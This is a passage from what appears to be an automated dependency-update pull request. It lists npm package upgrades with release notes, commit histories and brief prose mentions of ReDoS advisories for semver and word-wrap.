eslint,@ljharb/eslint-config,array.prototype.map,aud,auto-changelog,functions-have-names,tape0e78caa- [actions] update rebase action to use reusable workflow
6f37c60- [actions] update codecov uploader
d7c5f30- [Deps] update
define-properties,es-abstract911ca0e
1.1.5 (from changelog)
Commits
Does any of this look wrong? Please let us know.
โ๏ธ open (indirect, 7.4.2 โ 11.0.0) ยท Repo
Release Notes
11.0.0
Breaking
- Require Node.js 20 e789eec
Improvements
- Automatically detect whether PowerShell is accessible in WSL 67109f8
- Add
chromium-browserfallback for Linux b40f4b8- Throw
AggregateErrorinstead of only latest error (#364) 2778ac6Fixes
- Fix app launch failure detection for fallback support ce31b94
- Fix WSL access via remote SSH 8821bf7
- Fix handling of
import.meta.urlnot being available 8ce0f7d- Fix: Suppress PowerShell progress messages on Windows 2283000
- Fix: Ignore stdio on Windows when not waiting for process e1af0ee
- Fix WSL2 local file opening 269b5fd
- Fix spawn handling 966239c
- Fix PowerShell argument escaping 274d704
10.2.0
10.1.2
10.1.1
10.1.0
10.0.4
10.0.3
10.0.2
- Fix Linux compatibility 798cd93
10.0.1
10.0.0
Breaking
- Require Node.js 18 5628dc8
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ open-editor (indirect, 3.0.0 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Breaking
- Require Node.js 20 054c6a2
Improvements
5.1.0
5.0.0
Breaking
Improvements
4.1.1
4.1.0
4.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
6.0.0Require Node.js 20Accept `URL` and `{file: URL}` (#23)5.1.0Add support for Zed (#22)5.0.0Meta tweaksUpdate dependencies (#20)Require Node.js 18 (#21)4.1.1Fix usage without any options (#19)4.1.0Add `wait` option (#17)Fix readme typo (#18)Add VSCodium (#16)4.0.0Require Node.js 12.20 and move to ESM
โ๏ธ optionator (indirect, 0.9.1 โ 0.9.4) ยท Repo ยท Changelog
โ๏ธ path-exists (indirect, 4.0.0 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Require Node.js 12.20 3e66105
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ picomatch (indirect, 2.3.0 โ 2.3.1) ยท Repo ยท Changelog
Release Notes
2.3.1
Fixed
- Fixes bug when a pattern containing an expression after the closing parenthesis (
/!(*.d).{ts,tsx}) was incorrectly converted to regexp (9f241ef).Changed
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
2.3.1Merge pull request #102 from micromatch/ISSUE-93_incorrect_extglob_expandingfix: support stars in negation extglobs with expression after closing parenthesisMerge pull request #85 from XhmikosR/codeqlMerge pull request #91 from XhmikosR/patch-1Merge pull request #94 from peterblazejewicz/patch-1Merge pull request #98 from mojavelinux/document-automatic-lookbehind-detectiondocument that lookbehind detection is automaticdelete funding.ymlUpdate README.mdCreate FUNDING.ymlFix .eslintrc.jsonAdd CodeQL Action
โ๏ธ pkg-dir (indirect, 4.2.0 โ 8.0.0) ยท Repo
Release Notes
8.0.0
Breaking
- Require Node.js 18 9337d45
7.0.0
Breaking
6.0.1
6.0.0
Breaking
- Require Node.js 12.20 (#14) 198c9fe aeafb93
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports and the export names changed too.
- The
cwdargument is now part of an options-object.-const pkgDir = require('pkg-dir'); +import {packageDirectory} from 'pkg-dir'; -await pkgDir('/Users/unicorn/foo'); +await packageDirectory({cwd: '/Users/unicorn/foo'});
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
โ๏ธ plur (indirect, 4.0.0 โ 5.1.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ prettier (indirect, 1.19.1 โ 3.8.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ prettier-linter-helpers (indirect, 1.0.0 โ 1.0.1) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 13 commits:
1.0.1CHANGELOG for v1.0.1fixup type-checkingImprove types (#116)Tooling updates, types and removing unneeded files from the published package (#113)Update dependabot.ymlCreate dependabot.ymlBump prettier from 1.14.3 to 1.18.2 (#7)[Security] Bump lodash from 4.17.11 to 4.17.15 (#5)Bump eslint-plugin-prettier from 2.7.0 to 3.1.1 (#4)[Security] Bump eslint-utils from 1.3.1 to 1.4.2 (#3)Merge pull request #1 from prettier/dependabot/npm_and_yarn/eslint-config-prettier-6.4.0Bump eslint-config-prettier from 3.1.0 to 6.4.0
โ๏ธ regexp-tree (indirect, 0.1.23 โ 0.1.27) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ resolve (indirect, 1.20.0 โ 2.0.0-next.6) ยท Repo
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ reusify (indirect, 1.0.4 โ 1.1.0) ยท Repo
Release Notes
1.1.0
What's Changed
- Fixed a typo in the README by @arliang in #10
- typescript support by @doichev-kostia in #13
- Modernize CI by @mcollina in #15
- Bump @types/node from 20.17.6 to 22.9.0 by @dependabot in #20
- Bump neostandard from 0.11.9 to 0.12.0 by @dependabot in #21
New Contributors
- @arliang made their first contribution in #10
- @doichev-kostia made their first contribution in #13
- @dependabot made their first contribution in #20
Full Changelog: v1.0.4...v1.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ semver (indirect, 7.3.5 โ 7.7.4) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ semver vulnerable to Regular Expression Denial of Service
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ side-channel (indirect, 1.0.4 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [Refactor] extract implementations to
side-channel-weakmap,side-channel-map,side-channel-listada5955- [New] add
channel.deletec01d2d3- [types] improve types
0c54356- [readme] add content
be24868- [actions] split out node 10-20, and 20+
c4488e2- [types] use shared tsconfig
0e0d57c- [Dev Deps] update
@ljharb/eslint-config,@ljharb/tsconfig,@types/get-intrinsic,@types/object-inspect,@types/tape,auto-changelog,tapefb4f622- [Deps] update
call-bind,get-intrinsic,object-inspectb78336b- [Tests] replace
audwithnpm auditee3ab46- [Dev Deps] add missing peer dep
c03e21a
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 33 commits:
v1.1.0[readme] add content[Refactor] extract implementations to `side-channel-weakmap`, `side-channel-map`, `side-channel-list`[New] add `channel.delete`[actions] split out node 10-20, and 20+[types] improve types[Deps] update `call-bind`, `get-intrinsic`, `object-inspect`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `@ljharb/tsconfig`, `@types/get-intrinsic`, `@types/object-inspect`, `@types/tape`, `auto-changelog`, `tape`[Tests] replace `aud` with `npm audit`[types] use shared tsconfigv1.0.6add types[meta] simplify `exports`[Deps] update `call-bind`[Dev Deps] update `tape`v1.0.5[Deps] update `get-intrinsic`[meta] add missing `engines.node`[Refactor] use `es-errors`, so things that only need those do not need `get-intrinsic`[Deps] update `call-bind`, `get-intrinsic`, `object-inspect`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `npmignore`, `tape`[Deps] update `get-intrinsic`, `object-inspect`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[actions] update rebase action[Tests] increase coverage[meta] add `.editorconfig`; add `eclint`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[Deps] update `object-inspect`[actions] reuse common workflows[Deps] update `call-bind`, `get-intrinsic`, `object-inspect`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `safe-publish-latest`, `tape`
โ๏ธ signal-exit (indirect, 3.0.3 โ 4.1.0) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 34 commits:
4.1.0add prettierignore fileremove incorrect line from changelogallow handler to capture signal exitsci: drop node 144.0.3increment by old signal-exit's count, not just 14.0.2chore: remove error logadd no longer setting process.exitCode to changelog4.0.1don't get confused by old versions of signal-exitupdate license yearc8 ignore a platform-specific line4.0.0v4 rewrite: hybrid module, TS, and named exportsci: tests and fundingchore: correct license copyright statementci: makework3.0.7dep updatesgracefully no-op unwrap function3.0.6More properly handle global.process mutatingupdate tap, use automated publish scripts3.0.5chore: update deps[Fix] unbreak v33.0.4gracefully no-op when process missing or invalidremove standardupdate depsdocs: correct spelling mistake (#48)fix: regenerate `pacakge-lock.json` file for npm ci
โ๏ธ slash (indirect, 4.0.0 โ 5.1.0) ยท Repo
Release Notes
5.1.0
5.0.1
5.0.0
Breaking
- Require Node.js 14 5c5d1d6
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ string-width (indirect, 4.2.2 โ 8.2.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 36 commits:
8.2.0Meta tweaksImprove performance with ASCII fast path (#72)Fix width calculation for minimally-qualified emoji sequences (#68)8.1.1Fix crash on Unicode Format characters like U+06008.1.0Add more tests and simplify implementationImprove `isDoubleWidthEmojiCluster` (#65)8.0.0Require Node.js 20 and improve logic7.2.0Handle more edge-casesMeta tweaks7.1.0Meta tweaksImprove performance (#54)7.0.0Require Node.js 18 and use more recent Unicode data6.1.0Improve performance (#49)6.0.0Meta tweaksAdd `countAnsiEscapeCodes` option (#48)Use `Intl.Segmenter`, require Node.js v16 (#47)5.1.2Use `for..of` loop (#40)Add test for #2 (#39)5.1.1Fix incorrect default for `ambiguousIsNarrow` option5.1.0Add `ambiguousIsNarrow` option (#34)5.0.1Upgrade `strip-ansi` (#31)5.0.0Require Node.js 12 and move to ESM
โ๏ธ string.prototype.trimend (indirect, 1.0.4 โ 1.0.9) ยท Repo ยท Changelog
Release Notes
1.0.9 (from changelog)
Commits
- [actions] split out node 10-20, and 20+
7e5ffdc- [meta] sort package.json mildly
2f99c8b- [Dev Deps] update
@es-shims/api,@ljharb/eslint-config,auto-changelog,tape2774fe6- [Refactor] use
call-bounddirectly9e3bbec- [Tests] replace
audwithnpm auditcb9a462- [meta] add missing
engines.nodef46c829- [Deps] update
call-binde892c32- [Dev Deps] add missing peer dep
e1a59da
1.0.7 (from changelog)
Commits
1.0.6 (from changelog)
Commits
1.0.5 (from changelog)
Commits
- [actions] reuse common workflows
69a56ce- [actions] use
node/installinstead ofnode/run; usecodecovaction5d7db31- [Fix] ensure main entry point properly checks the receiver in ES3 engines
bb1983d- [Fix] as of unicode v6, the mongolian vowel separator is no longer whitespace
10a1091- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,safe-publish-latest,tapea08e14b- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,functions-have-names,tape1c4c8da- [actions] update codecov uploader
70c4a7c- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,aud,auto-changelog,tape4b08ed7- [readme] add github actions/codecov badges
9805501- [Dev Deps] update
eslint,tape50ec335- [actions] update workflows
bf9c32e- [meta] use
prepublishOnlyscript for npm 7+9d921bd- [Deps] update
define-properties15617ce
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 34 commits:
v1.0.9[meta] sort package.json mildly[Refactor] use `call-bound` directly[Deps] update `call-bind`[Dev Deps] add missing peer dep[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `auto-changelog`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[meta] add missing `engines.node`v1.0.8[Refactor] replace `es-abstract` with `es-object-atoms`[Dev Deps] update `aud`, `npmignore`, `tape`v1.0.7[Deps] update `define-properties`, `es-abstract`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `tape`v1.0.6[Deps] update `es-abstract`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `tape`[actions] update rebase action to use reusable workflowv1.0.5[Deps] update `define-properties`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `functions-have-names`, `tape`[Fix] as of unicode v6, the mongolian vowel separator is no longer whitespace[Fix] ensure main entry point properly checks the receiver in ES3 engines[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `safe-publish-latest`, `tape`[actions] update codecov uploader[readme] add github actions/codecov badges[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `auto-changelog`, `tape`[actions] update workflows[Dev Deps] update `eslint`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ string.prototype.trimstart (indirect, 1.0.4 โ 1.0.8) ยท Repo ยท Changelog
Release Notes
1.0.7 (from changelog)
Commits
1.0.6 (from changelog)
Commits
1.0.5 (from changelog)
Commits
- [actions] reuse common workflows
61d4009- [actions] use
node/installinstead ofnode/run; usecodecovactionbfe39c4- [Fix] ensure main entry point properly checks the receiver in ES3 engines
36e3730- [Fix] as of unicode v6, the mongolian vowel separator is no longer whitespace
4f77eed- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,safe-publish-latest,tape59fcb99- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,functions-have-names,tape486ffcf- [actions] update codecov uploader
b33ac48- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,aud,auto-changelog,tape3c89fa5- [readme] add github actions/codecov badges
00be6b3- [Dev Deps] update
eslint,tape13a08f5- [actions] update workflows
6ac576d- [meta] use
prepublishOnlyscript for npm 7+fa382ca- [Deps] update
define-propertiesd57bffe
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
v1.0.8[Deps] update `call-bind`, `define-properties`[Refactor] use `es-object-atoms` instead of `es-abstract`[Dev Deps] update `aud`, `npmignore`, `tape`[meta] add missing `engines.node`[actions] use reusable workflowsv1.0.7[Deps] update `define-properties`, `es-abstract`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `tape`v1.0.6[Deps] update `es-abstract`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `tape`[actions] update rebase action to use reusable workflowv1.0.5[Deps] update `define-properties`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `functions-have-names`, `tape`[Fix] ensure main entry point properly checks the receiver in ES3 engines[Fix] as of unicode v6, the mongolian vowel separator is no longer whitespace[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `safe-publish-latest`, `tape`[actions] update codecov uploader[readme] add github actions/codecov badges[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `auto-changelog`, `tape`[actions] update workflows[Dev Deps] update `eslint`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ strip-ansi (indirect, 6.0.0 โ 7.2.0) ยท Repo
Release Notes
7.2.0
7.1.2
- Fix vulnerability in 7.1.1, see: chalk/chalk#656
7.1.0
7.0.1
- Upgrade dependencies ed41f38
7.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
7.2.0Improve performance by adding fast path for strings without ANSI codes (#54)Meta tweaksAdd test for #437.1.2Mention Node.js built-in APIMeta tweaks7.1.0Improve performance (#49)Fix CI7.0.1Upgrade dependencies7.0.0Require Node.js 12 and move to ESMAdd @Qix- to funding.ymlMove to GitHub ActionsAdd Node.js 14 to testing matrix (#35)
โ๏ธ strip-final-newline (indirect, 2.0.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Breaking
- Require Node.js 18 (#7) 077250c
- When specifying a
Uint8Array, the returned value is no longer copied. Learn moreImprovements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ strip-indent (indirect, 4.0.0 โ 4.1.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ supports-hyperlinks (indirect, 2.2.0 โ 4.4.0) ยท Repo
Release Notes
3.1.0
3.0.0
Breaking
- Require Node.js 14
Improvements
2.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 27 commits:
4.4.0Add Zed terminal support (#7)Meta tweaks4.3.0Support Wezterm packaged by Nix / NixOS (#6)4.2.0Add support for `kitty` terminal4.1.24.1.0Add support for Cursor (#4)4.0.0Require Node.js 20 and move to ESM3.2.0Meta tweaksAdd support for alacritty (#23)Add Ghostty support (#26)3.1.0Meta tweaksAdd support for Windows Terminal (#8)3.0.0TweakRequire Node.js 14 and publish TypeScript types (#21)Add basic GitHub Action (#22)2.3.0Fix Netlify support (#12)Add WezTerm support (#14)Add VSCode support (#17)
โ๏ธ tapable (indirect, 0.1.10 โ 2.3.0) ยท Repo
Release Notes
2.3.0
Features
- [TYPES] Added
TypedHookMaptype.
2.2.3
Fixes
- Async hook catch an error when reject a falsy value
- [typescript] Support to pass return type for waterfall hooks
2.2.2
Developer Experience
- add interceptors type to hook class
2.2.1
Developer Experience
- fix some incorrect typings
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ tslib (indirect, 1.14.1 โ 2.8.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ type-fest (indirect, 0.20.2 โ 5.4.4) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 8 commits:
5.4.4`PackageJson`: Use `LiteralUnion` for `engines` field (#1354)Make twoslash (`\\=>`) type validation agnostic of union order (#1347)`IsUnion`: Fix behavior when the entire union extends all individual members (#1353)`Paths`: Fix `leavesOnly` behavior with `never` leaves (#1350)`Paths`: Fix behavior with `WeakMap`s / `WeakSet`s (#1348)`Paths`: Fix behavior with tuples containing optional elements with a rest element (#1346)fix: remove duplicate test case
โ๏ธ typescript (indirect, 4.3.5 โ 5.9.3) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ unbox-primitive (indirect, 1.0.1 โ 1.1.0) ยท Repo ยท Changelog
Release Notes
1.1.0 (from changelog)
Commits
- [meta] use
npmignoreto autogenerate an npmignore file348a5ad- [New] add types
a324230- [Tests] use
es-value-fixturesa321ae5- [actions] split out node 10-20, and 20+
04a0e0d- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,npmignore,object-inspect,object-is,tape7fff971- [actions] update rebase action
91d6807- [Deps] update
call-bind,has-symbols,which-boxed-primitivef8b6597- [Dev Deps] update
aud,object-inspect,tapeb3362a1- [Refactor] use
call-bounddirectlye29ff5f- [meta] add missing
engines.noded3420bc- [Tests] replace
audwithnpm audit5e6a6d0- [Deps] update
which-boxed-primitive0ff873d- [Dev Deps] update
auddd0e373- [Dev Deps] add missing peer dep
4f79b24
1.0.2 (from changelog)
Commits
- [actions] reuse common workflows
e6420b9- [actions] update codecov uploader
b90aff2- [readme] add github actions/codecov badges; update URLs
bcc39b9- [Dev Deps] update
eslint,@ljharb/eslint-config,object-inspect,safe-publish-latest,tapea704a32- [Refactor] use
call-bindinstead offunction-bind0a609f1- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,object-inspect,safe-publish-latest,tape6a45317- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,object-inspect,tape795c76f- [Deps] update
has-bigints,has-symbols257a065
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
v1.1.0[meta] add missing `engines.node`[New] add types[Tests] use `es-value-fixtures`[Refactor] use `call-bound` directly[Deps] update `which-boxed-primitive`[Deps] update `call-bind`, `has-symbols`, `which-boxed-primitive`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `npmignore`, `object-inspect`, `object-is`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[Dev Deps] update `aud`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `object-inspect`, `tape`[actions] update rebase actionv1.0.2[Deps] update `has-bigints`, `has-symbols`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `tape`[Refactor] use `call-bind` instead of `function-bind`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-inspect`, `safe-publish-latest`, `tape`[readme] add github actions/codecov badges; update URLs[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploader
โ๏ธ which-boxed-primitive (indirect, 1.0.2 โ 1.1.1) ยท Repo ยท Changelog
Release Notes
1.1.1 (from changelog)
Commits
1.1.0 (from changelog)
Commits
- [actions] reuse common workflows
893df44- [meta] use
npmignoreto autogenerate an npmignore filebab1ff8- [Tests] use
es-value-fixturesandfor-eachecacfa0- [New] add types
ab38e78- [actions] split out node 10-20, and 20+
7ee9c3c- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,object-inspect,safe-publish-latest,tape142215a- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,has-symbols,object-inspect,tape3559371- [actions] update rebase action to use reusable workflow
928901a- [Deps] update
is-bigint,is-boolean-object,is-number-object,is-string,is-symbolf7b14be- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,npmignore,object-inspect,tape5296738- [Deps] update
is-bigint,is-boolean-object,is-number-object,is-string,is-symbolcaa6d1c- [meta] add missing
engines.nodeca40880- [Tests] replace
audwithnpm auditb0f4069- [Dev Deps] update
aud8d0e336- [Deps] update
is-number-objecteafcabf- [Dev Deps] add missing peer dep
ec4dd52
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
v1.1.1[Deps] update `is-boolean-object`, `is-number-object`, `is-string`, `is-symbol`[Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `@types/tape`v1.1.0[meta] add missing `engines.node`[New] add types[Deps] update `is-bigint`, `is-boolean-object`, `is-number-object`, `is-string`, `is-symbol`[Tests] use `es-value-fixtures` and `for-each`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `npmignore`, `object-inspect`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`[Dev Deps] update `aud`[Deps] update `is-number-object`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `has-symbols`, `object-inspect`, `tape`[actions] update rebase action to use reusable workflow[actions] reuse common workflows[Deps] update `is-bigint`, `is-boolean-object`, `is-number-object`, `is-string`, `is-symbol`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `safe-publish-latest`, `tape`
โ๏ธ word-wrap (indirect, 1.2.3 โ 1.2.5) ยท Repo
Security Advisories ๐จ
๐จ word-wrap vulnerable to Regular Expression Denial of Service
All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.
Release Notes
1.2.5
Changes:
Reverts default value for
options.indentto two spaces' '.Full Changelog: 1.2.4...1.2.5
1.2.4
What's Changed
- Remove default indent by @mohd-akram in #24
๐ fix: CVE 2023 26115 (2) by @OlafConijn in #41๐ fix: CVE-2023-26115 by @aashutoshrathi in #33- chore: publish workflow by @OlafConijn in #42
New Contributors
- @mohd-akram made their first contribution in #24
- @OlafConijn made their first contribution in #41
- @aashutoshrathi made their first contribution in #33
Full Changelog: 1.2.3...1.2.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
1.2.5revert default indentrun verb to generate READMEMerge pull request #42 from jonschlinkert/chore/publish-workflowMerge pull request #41 from jonschlinkert/fix/CVE-2023-26115-2Update .github/workflows/publish.ymlchore: bump version to 1.2.4chore: add publish workflowchore: fix testchore: remove package-lockchore: added an additional testcasefix: cve 2023-26115fix: settle for new regex to support lower node versions:lock: fix: CVE-2023-26115Merge pull request #24 from mohd-akram/remove-default-indentRemove default indent
โ๏ธ yallist (downgrade, 4.0.0 โ 3.1.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 48 commits:
3.1.1Restore compatibility with ancient node versions3.1.0update travis config to include modern nodesSplice implementation3.0.3bump tapFix #19 don't use circular depsbump node versions in travis yamlv3.0.2use strict so iterator works on node 4v3.0.1Remove head/tail when pop/unshift to emptyv3.0.0Make yallist instances iterablev2.1.1revert iterator stuffv2.1.0restrict package filesMake yallist instances iterablev2.0.1standard complement of autopublish scriptsfix bug when pop()ing or unshift()ing the last itemuse standard for stylev2.0.0Rename moveToHead/Tail to unshift/pushNodePreserve referential integrity whem moving node to head/tailAdd some warnings in the docs about direct Node accessv1.1.0Add moveToTail(node) and moveToHead(node) methodsinline unnecessary helper functionsv1.0.2fix half-written sentence in doctravis vanity badgecoveralls vanity badgev1.0.1ugh, node 0.8, no pointtravistypo in readmeshould probably have the actual license in there toov1.0.0contribution guidelinesignore coverage stuffcodetdddocspackage fixuppackage